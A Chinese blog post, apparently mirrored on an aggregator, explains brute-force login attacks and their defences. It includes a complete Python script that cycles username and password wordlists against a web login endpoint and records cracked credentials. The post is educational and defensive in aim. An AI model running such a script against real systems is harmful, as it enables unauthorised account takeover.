5

前端安全问题——暴破登录 - 飞仔FeiZai

 1 year ago
source link: https://www.cnblogs.com/yuzhihui/p/17234417.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前端安全问题——暴破登录

声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。

暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。

一、发现问题

Web 应用的登录认证模块容易被爆破登录的情况有很多,以下是一些常见的情况:

  1. 弱密码:如果用户的密码过于简单,容易被爆破猜解,例如使用常见的密码或者数字组合,或者密码长度太短。

  2. 没有账户锁定机制:如果网站没有设置账户锁定机制,在多次登录失败后不对账户进行锁定,攻击者可以继续尝试爆破登录。

  3. 未加密传输:如果用户在登录时使用的是未加密的 HTTP 协议进行传输,攻击者可以通过网络抓包等方式获取用户的账户名和密码,从而进行爆破登录。

  4. 没有 IP 地址锁定:如果网站没有设置 IP 地址锁定机制,在多次登录失败后不对 IP 地址进行锁定,攻击者无限制的继续尝试爆破登录。

  5. 没有输入验证码:如果网站没有输入验证码的机制,在多次登录失败后不要求用户输入验证码,攻击者可以通过自动化程序进行爆破登录。

  6. 使用默认账户名和密码:如果网站的管理员或用户使用了默认的账户名和密码,攻击者可以通过枚举默认账户名和密码的方式进行爆破登录。

为了检测 Web 应用的登录认证模块是否存在爆破登录漏洞,可以使用以下工具:

  1. Burp Suite:Burp Suite 是一款常用的 Web 应用程序安全测试工具,其中包含了许多模块和插件,可用于检测网站的登录认证模块是否存在爆破登录漏洞。

  2. OWASP ZAP:OWASP ZAP 是一个免费的 Web 应用程序安全测试工具,可以用于检测登录认证模块的安全性,并提供一系列的攻击模拟工具。

需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。

二、分析问题

对目标 Web 应用进行爆破登录攻击实例:

1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息

可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。

  • 请求地址:

    img

    由图可知,应用使用的是 HTTP 协议,而不是更安全的 HTTPS 协议。

  • 请求参数:

    img

    由图可知,登录接口的请求参数用户名和密码用的都是明文。

  • 响应数据:

    img

2. 构建目标 Web 应用 URL 字典、账号字典和密码字典

  • URL 字典 url.txt:

    http://123.123.123.123:1234/
    
  • 账号字典 usr.txt

    admin
    

    admin 是很多 Web 后端管理应用常用的管理员默认账号。

  • 密码字典 pwd.txt:

    密码字典是三个被常用的弱密码。

3. 暴力破解登录代码示例

Python 脚本代码示例:

from io import TextIOWrapper
import json
import logging
import os
import time
import requests
from requests.adapters import HTTPAdapter

g_input_path = './brute_force_login/input/'
g_output_path = './brute_force_login/output/'

def log():
    # 创建日志文件存放文件夹
    root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    log_dir = os.path.join(root_dir,  'logs', 'brute_force_login')

    if not os.path.exists(log_dir):
        os.mkdir(log_dir)

    # 创建一个日志器
    logger = logging.getLogger("logger")

    # 设置日志输出的最低等级,低于当前等级则会被忽略
    logger.setLevel(logging.INFO)

    # 创建处理器:sh为控制台处理器,fh为文件处理器
    sh = logging.StreamHandler()

    # 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹
    log_file = os.path.join(log_dir, "{}.log".format(
        time.strftime("%Y-%m-%d", time.localtime())))
    fh = logging.FileHandler(log_file, encoding="UTF-8")

    # 创建格式器,并将sh,fh设置对应的格式
    formator = logging.Formatter(
        fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")

    sh.setFormatter(formator)
    fh.setFormatter(formator)

    # 将处理器,添加至日志器中
    logger.addHandler(sh)
    logger.addHandler(fh)

    return logger

globalLogger = log()

def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):
    # 请求头
    headers = {
        "content-type": "application/json",
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
    }

    if authorizationBase64Str != '':
        headers['Authorization'] = 'Basic ' + authorizationBase64Str

    proxies = {}
    if proxyIpPort != "localhost":
        proxies = {
            "http": "http://" + proxyIpPort,
            "https": "http://" + proxyIpPort
        }

    try:
        s = requests.Session()
        # 配置请求超时重试
        s.mount('http://', HTTPAdapter(max_retries=1))
        s.mount('https://', HTTPAdapter(max_retries=1))

        response = None
        # 构造发送请求
        if method == 'get':
            response = s.get(url=url, headers=headers, data=data,
                            proxies=proxies,  timeout=(3.05, 1))
        elif method == 'post':
            response = s.post(url=url, headers=headers, data=data,
                            proxies=proxies,  timeout=(3.05, 1))
        else:
            globalLogger.warning("Request Method Invalid")
            return 'RequestException'
        # 响应数据
        globalLogger.info(
            "MyRequest Request ResponseText:\n {}".format(response.text))
        return response.text
    except requests.exceptions.RequestException as e:
        globalLogger.warning("RequestException: {}".format(e))
        return 'RequestException'


def getStrListFromFile(fileContent: TextIOWrapper):
    return fileContent.read().rstrip('\n').replace('\n', ';').split(';')


def attackTargetSite(url: str, usr: str, pwd: str):
    reStr = 'FAIL'

    fullUrl = url + 'webapp/web/login'
    globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))

    reqData = {
        "name": usr,
        "password": pwd
    }

    resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))

    if '"status":200' in resp:
        reStr = 'SUCCESS'
    elif 'RequestException' in resp:
        reStr = 'RequestException'

    return reStr

def attack():
    try:
        input_path = g_input_path

        # 读取url文件
        input_url_filename = 'url.txt'
        urlFileContent = open(os.path.join(
            input_path, input_url_filename), 'r')
        url_list = getStrListFromFile(urlFileContent)

        # 读取用户名字典文件
        input_usr_filename = 'usr.txt'
        usrFileContent = open(os.path.join(
            input_path, input_usr_filename), 'r')
        usr_list = getStrListFromFile(usrFileContent)

        # 读取密码字典文件
        input_pwd_filename = 'pwd.txt'
        pwdFileContent = open(os.path.join(
            input_path, input_pwd_filename), 'r')
        pwd_list = getStrListFromFile(pwdFileContent)

        # 输出文件路径及名称
        output_path = g_output_path
        output_hacked_url = 'hackedUrlAndPwd.txt'

        with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:
            i = 0
            for url in url_list:
                i += 1
                j = 0
                for usr in usr_list:
                    j += 1
                    resp = 'FAIL'
                    k = 0
                    for pwd in pwd_list:
                        k += 1
                        resp = attackTargetSite(url, usr, pwd)
                        if resp == 'SUCCESS':
                            output_file.write(url + '\n')
                            output_file.write('{}:{}\n'.format(usr, pwd))
                            # 数据实时写入文件(无缓冲写入)
                            output_file.flush()

                            pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                            break
                        elif 'RequestException' in resp:
                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                            break
                        else:
                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                    if resp == 'SUCCESS':
                        break
                    elif 'RequestException' in resp:
                        break

    finally:
        if urlFileContent:
            urlFileContent.close()
        if usrFileContent:
            usrFileContent.close()
        if pwdFileContent:
            pwdFileContent.close()
        if pipFileContent:
            pipFileContent.close()

attack()

上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。

成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:

http://123.123.123.123:1234/
admin:1234

其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。

三、解决问题

以下是一些预防暴力破解登录的措施:

  1. 强制密码复杂度:应用程序应该强制用户使用复杂的密码,如包含数字、字母和符号,并设置密码最小长度限制,以减少暴力破解的成功率。

  2. 锁定账户:应用程序应该有一个策略来锁定用户账户,例如,如果用户连续多次输入错误的密码,应该锁定账户一段时间,以减少暴力破解攻击的成功率。

  3. 安全加密:密码应该使用安全的加密方式进行存储,以防止攻击者获取敏感信息。开发人员应该使用强密码哈希算法,并对散列值使用盐进行加密,从而增加破解难度。

  4. IP 地址锁定:设置 IP 地址锁定机制,在多次登录失败后对 IP 地址进行锁定,增加攻击者的攻击成本,当然,攻击者也是可以通过更换代理 IP 的方式继续尝试爆破登录。

  5. 添加验证码:添加验证码是一种简单而有效的防止暴力破解登录的方法。在登录界面添加验证码,可以有效地防止自动化工具的攻击。

  6. 检查 IP 地址:可以在用户登录时记录用户的 IP 地址,并在未授权的 IP 地址尝试登录时触发警报或阻止登录。

  7. 多因素身份验证:多因素身份验证是一种额外的安全层,通过使用至少两种身份验证因素来验证用户的身份,增加攻击者成功攻击的难度。通常,多因素身份验证会结合密码和另一种身份验证因素,如短信验证码、邮件验证、令牌等。

  8. 加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。

以下是一些应对暴力破解登录的常用工具:

  1. Wireshark:Wireshark 是一个免费的网络协议分析工具,可以用于监视和分析网络数据包。通过使用 Wireshark,可以捕获网站登录认证过程中的网络数据包,以检查是否存在攻击者使用的爆破攻击模式。

  2. Fail2Ban:Fail2Ban 是一个安全性程序,可用于防止恶意爆破登录行为。它使用规则来检测多个失败登录尝试,并暂时禁止来自相同 IP 地址的任何进一步尝试。通过 Fail2Ban,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  3. Web Application Firewall(WAF):Web 应用程序防火墙是一种用于保护 Web 应用程序的安全性的网络安全控制器。WAF 可以检测和阻止恶意的登录尝试,并提供实时保护。通过使用 WAF,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  4. Log File Analyzer:日志文件分析工具可以用于分析网站日志文件,以确定是否存在任何异常登录尝试。通过分析登录活动的日志,可以发现任何爆破攻击的痕迹,并识别攻击者的 IP 地址。

需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。


Recommend

  • 111

    当我们说“前端安全问题”的时候,我们在说什么 “安全”是个很大的话题,各种安全问题的类型也是种类繁多。如果我们把安全问题按照所发生的区域来进行分类的话,那么所有发生在后端服务器、应用、服务当中的安全问题就是“后端安全问题”,所有发生在浏...

  • 83
    • news.cnblogs.com 6 years ago
    • Cache

    8大前端安全问题

    文/马伟马伟,ThoughtWorks高级咨询师,长期从事企业级软件开发工作,拥有丰富的应用开发经验,并在工作中积累了丰富的Web应用安全经验。目前专注于安全技术的创新与实践,热衷于探索和研究各种Web应用漏洞,对如何将安全实践集成到敏捷开发流程中有浓厚的兴趣和深...

  • 96

    在《8大前端安全问题(上)》这篇文章里我们谈到了什么是前端安全问题,并且介绍了其中的4大典型安全问题,本篇文章将介绍剩下的4大前端安全问题,它们分别是...

  • 59

    高收益的笨办法:暴破在Windows提权中的应用

  • 63

    引言 首先为什么是不务正业呢...因为我们公司就我一个前端,不乖乖写页面写什么SSO。我之所以会想到去写SSO单点登录呢,一是发现公司的登录这块特别的乱,每个系统都是独立的登录,而某些业务都是有所交集的,既然一个是a.xxx.com一个是b.xxx.com,那

  • 41

    前言:之前写了一个node的jwt认证,为了能和node对应,跑通整个流程,前端将设置登录拦截,分别为路由拦截,http拦截。更多文件请看 github地址和node server 对应:前端架构之node jwt认证大致流程:在进行路由跳转时,利用vue-r

  • 73
    • 掘金 juejin.im 6 years ago
    • Cache

    前端关于单点登录的知识

    什么是单点登录 单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一。SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。 SSO一般都需要一个独立的认证中心(passport),

  • 3
    • segmentfault.com 2 years ago
    • Cache

    前端常见的安全问题及防范措施

    随着互联网的高速发展,信息安全问题已经成为行业最为关注的焦点之一。总的来说安全是很复杂的一个领域,在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,还时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。这篇文章会介绍一些常见的...

  • 6

    JavaScript 中的一些奇怪问题 JavaScript 在开发过程中可能会出现很多奇怪的问题,以下是一些示例: 1、变量提升问题 变量提升是 JavaScript 中一个常见的问题,特别是当没有充分理解...

  • 3

    前端性能优化——启用文本压缩 一、发现性能问题 1、通过 Google Chrome 打开需要进行性能优化的站点 2、打开 Chrome 开发者工具 Lighthouse 面板:

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK